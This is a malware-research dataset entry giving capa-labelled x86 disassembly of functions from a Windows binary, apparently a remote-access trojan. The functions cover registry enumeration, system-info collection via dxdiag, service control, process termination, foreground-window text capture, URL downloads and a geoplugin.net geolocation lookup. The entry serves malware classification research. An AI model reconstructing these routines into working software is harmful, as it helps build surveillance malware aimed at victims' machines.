joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413a55
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.004576b0
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.00436e90
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x413b33
test eax, eax
je 0x413b33
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x413b2d
push 0x467130
lea ecx, [ebp - 0x34]
call fcn.0040417e
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.004042fc
pop ecx
push eax
mov ecx, 0x4754b0
call fcn.0040325d
lea ecx, [ebp - 0x68]
call fcn.00401f09
lea ecx, [ebp - 0x34]
call fcn.00401f09
inc esi
cmp esi, dword [ebp - 4]
jb 0x413acd
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x413c75
xor esi, esi
test eax, eax
je 0x413c75
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x413c6b
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.00441e81
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x467130
call fcn.0040417e
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.004042fc
pop ecx
push eax
mov ecx, 0x4754c8
call fcn.0040325d
lea ecx, [ebp - 0x34]
call fcn.00401f09
lea ecx, [ebp - 0x80]
call fcn.00401f09
push 0x4660c0
lea ecx, [ebp - 0x34]
call fcn.00402093
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.004052fd
pop ecx
push eax
mov ecx, 0x4754e0
call fcn.00403376
lea ecx, [ebp - 0x80]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402093
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.004020b7
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.00402ea1
pop ecx
push eax
mov ecx, 0x475578
call fcn.00403376
lea ecx, [ebp - 0x80]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x98]
call fcn.00401fd8
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x413b48
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4146d4
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push ecx
and dword [ebp], 0
mov dword [esp + 0x14], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x414752
cmp word [esi + 8], 2
jne 0x414734
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x414734
mov edi, dword [esi + 0xc]
jmp 0x41472e
push dword [eax]
mov edx, dword [esp + 0x1c]
push dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
call fcn.0041466d
mov dword [ebp], eax
test eax, eax
je 0x41474d
lea ebp, [eax + 0x1c]
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x41470e
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.00441a33
add esp, 0x10
xor eax, eax
jmp 0x414770
push 8
pop eax
jmp 0x414770
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x41476e
sub eax, 1
je 0x41477f
sub eax, 1
je 0x414778
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x10
mov eax, 0x2afb
jmp 0x414770
mov eax, 0x2afa
jmp 0x414770

Function at 0x414d86
Capabilities:
Get common file path

Disassembly:
sub esp, 0x22c
cmp dword [0x476b4c], 0
mov dword [esp], str.getaddrinfo
mov dword [esp + 4], 0x41490a
mov dword [esp + 8], str.getnameinfo
mov dword [esp + 0xc], 0x414bb0
mov dword [esp + 0x10], str.freeaddrinfo
mov dword [esp + 0x14], fcn.004148cf
jne 0x414edd
push 0x104
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x414ed3
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x134]
mov ebx, 0x10c
push eax
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00441a3e
push str.ws2_32
lea eax, [esp + 0x38]
push ebx
push eax
call fcn.00441a98
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
test esi, esi
je 0x414e46
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x414e42
push esi
call ebp
mov esi, edi
test esi, esi
jne 0x414e97
lea eax, [esp + 0x134]
mov esi, 0x10c
push eax
lea eax, [esp + 0x2c]
push esi
push eax
call fcn.00441a3e
push str.wship6
lea eax, [esp + 0x38]
push esi
push eax
call fcn.00441a98
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x414ecf
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x414e93
push esi
call ebp
mov esi, edi
test esi, esi
je 0x414ecf
mov ebx, edi
push dword [esp + ebx*8 + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + ebx*8 + 0x14], eax
test eax, eax
je 0x414eb4
inc ebx
cmp ebx, 3
jl 0x414e99
jmp 0x414eb9
push esi
call ebp
mov esi, edi
test esi, esi
je 0x414ecf
mov eax, dword [esp + edi + 0x14]
mov dword [edi + 0x4719f8], eax
add edi, 8
cmp edi, 0x18
jl 0x414ebd
pop edi
pop esi
pop ebp
pop ebx
mov dword [0x476b4c], 1
mov eax, dword [0x4719f8]
add esp, 0x22c
ret
Function at 0x417495
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x46c7a8
lea ecx, [ebp - 0x30]
call fcn.0040b97c
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
push str.dxdiag
push 0x466108
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.004020df
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00401f04
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.0041c485
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00406b28
test al, al
je 0x41753c
cmp esi, 0x4b0
jl 0x41750d
lea ecx, [ebp - 0x18]
call fcn.00406b28
test al, al
jne 0x4175cc
lea ecx, [ebp - 0x48]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.004046f7
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004048c8
test al, al
je 0x4175c1
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
push 0x474ee0
call fcn.00402f31
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.00404aa1
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0xc8]
call fcn.00404e26
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00404ee2
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp + 8]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417cdf
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push 0x4660bc
call fcn.00402093
push eax
push str.Temp
call fcn.0043c0da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402f10
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fd8
lea ecx, [ebp - 0x84]
call fcn.00401fd8
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
lea ecx, [ebp - 0x138]
call fcn.0040fbb3
lea ecx, [ebp - 0x138]
call fcn.00417f1c
test al, al
je 0x417e10
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.00417f2c
lea ecx, [ebp - 0x138]
call fcn.0040fb64
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401fab
movaps xmm0, xmmword [0x46d280]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x4660a4
mov edi, 0x475630
setne bl
cmp dword [ebp - 0x1c], 0
je 0x417dfa
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402093
push 0x70
mov ecx, edi
call fcn.00404aa1
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x417e2b
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402093
push 0x6e
mov ecx, edi
jmp 0x417e26
sub esp, 0x18
mov ecx, esp
push 0x4660a4
call fcn.00402093
push 0x6f
mov ecx, 0x475630
call fcn.00404aa1
lea ecx, [ebp - 0x138]
call fcn.0040f3b0
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp + 8]
call fcn.00401fd8
lea ecx, [ebp + 0x20]
call fcn.00401fd8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41aaa6
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401f04
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41aade
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41aafc
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ab0d
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401f04
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41ab48
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41ab99
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x41ab69
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x41ab99
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x41ab69
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41abaa
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401f04
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41abe2
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41ac00
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ac11
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401f04
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41ac49
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41ac67
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ac78
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401f04
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41acb1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41acf5
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x41acce
sub eax, 1
je 0x41acca
sub eax, 1
jne 0x41acd1
push 3
jmp 0x41acd0
push 2
jmp 0x41acd0
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ad17
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea ecx, [esp + 4]
mov dl, 0x30
push esi
push str.alarm.wav
call fcn.0040d9e8
pop ecx
lea ecx, [esp + 8]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41ada2
mov esi, 0x475968
mov edx, 0x4660a4
mov ecx, esi
call fcn.00405b05
test al, al
je 0x41ad90
sub esp, 0x18
cmp byte [0x474ad2], 0
mov ecx, esp
push 0x46c92c
je 0x41ad7a
call fcn.00402093
mov ecx, 0x475980
jmp 0x41ad84
call fcn.00402093
mov ecx, 0x475598
push 0xa1
call fcn.00404aa1
jmp 0x41adb2
lea ecx, [esp + 8]
call fcn.00401f04
mov edx, eax
mov ecx, esi
call fcn.0041c4f2
lea ecx, [esp + 8]
call fcn.00401f04
mov ecx, eax
call fcn.0041adc0
lea ecx, [esp + 8]
call fcn.00401f09
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41ae15
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x475968
mov bl, dl
call fcn.00401fc0
test bl, bl
je 0x41ae2d
pop ebx
jmp fcn.0041ad17
mov byte [0x474ad3], 1
pop ebx
ret
Function at 0x41b047
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x7c
push ebx
push ebp
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [esp + 0x98]
call fcn.0041b29c
cmp eax, 0xffffffff
jne 0x41b094
lea ecx, [esp + 0x90]
call fcn.00401f04
push eax
mov dl, 0x30
lea ecx, [esp + 0x14]
call fcn.0040da34
pop ecx
push eax
lea ecx, [esp + 0x94]
call fcn.00401f13
lea ecx, [esp + 0x10]
call fcn.00401f09
mov ecx, esi
call fcn.0040247c
lea ecx, [esp + 0x90]
test eax, eax
je 0x41b188
call fcn.00401f04
mov edx, eax
mov ecx, esi
call fcn.0041c4f2
push str._alias_audio
mov edx, edi
lea ecx, [esp + 0x74]
call fcn.0041bc5e
push eax
lea eax, [esp + 0x98]
mov edx, str.open__
push str.__type
push eax
lea ecx, [esp + 0x68]
call fcn.0040b97c
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x70]
call fcn.00401f09
xor ebx, ebx
lea ecx, [esp + 0x28]
push ebx
push ebx
push ebx
call fcn.00401f04
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov edi, 0x4660a4
mov ecx, esp
push edi
call fcn.00402093
mov ebp, 0x475980
push 0xa9
mov ecx, ebp
call fcn.00404aa1
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x474ad4], eax
jmp 0x41b24c
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41b0b8
sub esp, 0x18
mov ecx, esp
push 0x4660a4
call fcn.00402093
push 0xa8
mov ecx, 0x475980
call fcn.00404aa1
jmp 0x41b288
cmp byte [0x474ad1], bl
je 0x41b1d7
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x474ad1], bl
cmp byte [0x474ad0], bl
je 0x41b1ef
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x474ad0], bl
push ebx
push 0x14
lea eax, [esp + 0x18]
push eax
push str.status_audio_mode
call esi
lea eax, [esp + 0x10]
push str.stopped
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
jne 0x41b21f
push dword [0x474ad4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x474ad4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41b247
push dword [0x474ad4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x41b17e
mov eax, dword [0x474ad4]
test eax, eax
jne 0x41b1bf
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
push 0xaa
mov ecx, ebp
call fcn.00404aa1
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x90]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret
Function at 0x41b380
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bd51
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b40c
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b415
test ecx, ecx
jne 0x41b3c5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bd4c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41b9f6
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41ba8d
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41ba8d
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41ba84
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bd51
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41ba84
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436e90
push esi
push edi
push dword [ebx]
call fcn.00436e90
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ba96
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436e90
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41bb61
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41bb89
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41c01b
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
sub esp, 0x828
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0x105
xor esi, esi
push edi
mov ebx, esi
mov ebp, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x41c079
mov eax, edi
mov dword [esp + 0x10], eax
push 2
push 0x466608
push eax
call fcn.00436fea
add esp, 0xc
test eax, eax
jne 0x41c060
inc ebx
cmp ebx, 3
je 0x41c077
add dword [esp + 0x10], 2
inc ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebp, eax
jge 0x41c079
mov eax, dword [esp + 0x10]
jmp 0x41c046
mov ebx, ebp
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebx*2 + 2]
push eax
lea eax, [esp + 0x634]
push edi
push eax
call fcn.00436910
add esp, 0xc
lea eax, [esp + 0x18]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x41c136
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41c168
cmp word [esp + 0x1a], ax
jne 0x41c152
cmp word [esp + 0x1c], 0x3f
jne 0x41c152
cmp word [esp + 0x1e], ax
jne 0x41c152
cmp word [esp + ebp*2 + 0x18], ax
jne 0x41c152
xor eax, eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x428]
push 0x64
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x41c1d0
push edi
lea eax, [esp + 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x41c182
push 0x104
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x41c173
lea eax, [esp + 0x18]
push eax
call fcn.0043bad6
pop ecx
push 0x5c
lea ebp, [eax - 1]
pop eax
cmp word [esp + 0x18], ax
je 0x41c0c2
mov esi, 0xa1
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x41c157
jmp 0x41c152
push 0x5c
pop eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x228]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x41c1d0
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x220]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x41c157
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x41c157